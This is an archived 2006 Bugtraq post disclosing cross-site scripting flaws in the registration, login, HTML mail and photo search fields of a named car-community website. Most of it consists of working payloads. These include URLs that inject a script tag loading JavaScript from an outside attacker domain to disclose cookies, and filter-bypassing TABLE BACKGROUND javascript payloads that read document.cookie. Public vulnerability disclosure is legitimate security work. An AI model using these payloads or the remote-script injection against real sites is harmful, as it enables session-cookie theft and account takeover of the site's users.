bugtraq - Carspace.com - XSS with cookie disclosure

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20060615195503.17516.qmail@securityfocus.com>
Date: 15 Jun 2006 19:55:03 -0000
From: luny@...fucktard.com
To: bugtraq@...urityfocus.com
Subject: Carspace.com - XSS with cookie disclosure

Carspace.com

Homepage:
http://www.carspace.com

Affected files:
Input boxes of registering
Login boxes
sending mail input boxes.
Searching for photos.

XSS vuln with cookie disclosure via ErrorMessage when registering:
http://www.carspace.com/?register@@!ErrorMessage=<br><SCRIPT SRC=http://youfucktard.com/x2.js></SCRIPT>.<br><br>

Screenshots:
http://www.youfucktard.com/xsp/carspace1.jpg

Same XSS vuln with cookie disclosure as above, this time in login box. For PoC put:

http://www.carspace.com/?login@@!EmailAddress=">">">">">'>'>'><"">">"><SCRIPT%20SRC=http://youfucktard.com/x2.js></SCRIPT><"<"<"<"<'<'<"

&ErrorMessage=No%20account%20with%20this%20e-mail%20address.%20Please%20%20sign%20up%20to%20get%20the%20email%20activation%20link.%0A

Screenshot:
http://www.youfucktard.com/xsp/carspace2.jpg

Sending mail XSS vuln with cookie disclosure:

When sending mail you can enable the option to make a "HTML" email. This should be a no no right off the bat. To bypass their filters still however, we will use a table tag with long UTF-8 uncicode ' so they don't get filtered. For a PoC put the codes below in the body of your mail msg. Make sure "HTML Mail" is checked 

in:

<TABLE BACKGROUND=javascript:alert(&#0000039XSS&#0000039)>

And to get the cookie:
<TABLE BACKGROUND=javascript:alert(document.cookie)>

Img tags work as well. Script tags seem to get filtered out, even with html enabled.

Screenshots:
http://www.youfucktard.com/xsp/carspace3.jpg
http://www.youfucktard.com/xsp/carspace4.jpg
http://www.youfucktard.com/xsp/carspace5.jpg

-------------------------------------------------

Searching/Browsing for photos XSS vuln.

Data isn't properly sanatized before being generated. For a PoC try putting the code below in the "Keywords" box:
<TABLE BACKGROUND=javascript:alert(&#0000039XSS&#0000039)> in the photo search box.

Screenshots:
http://www.youfucktard.com/xsp/carspace6.jpg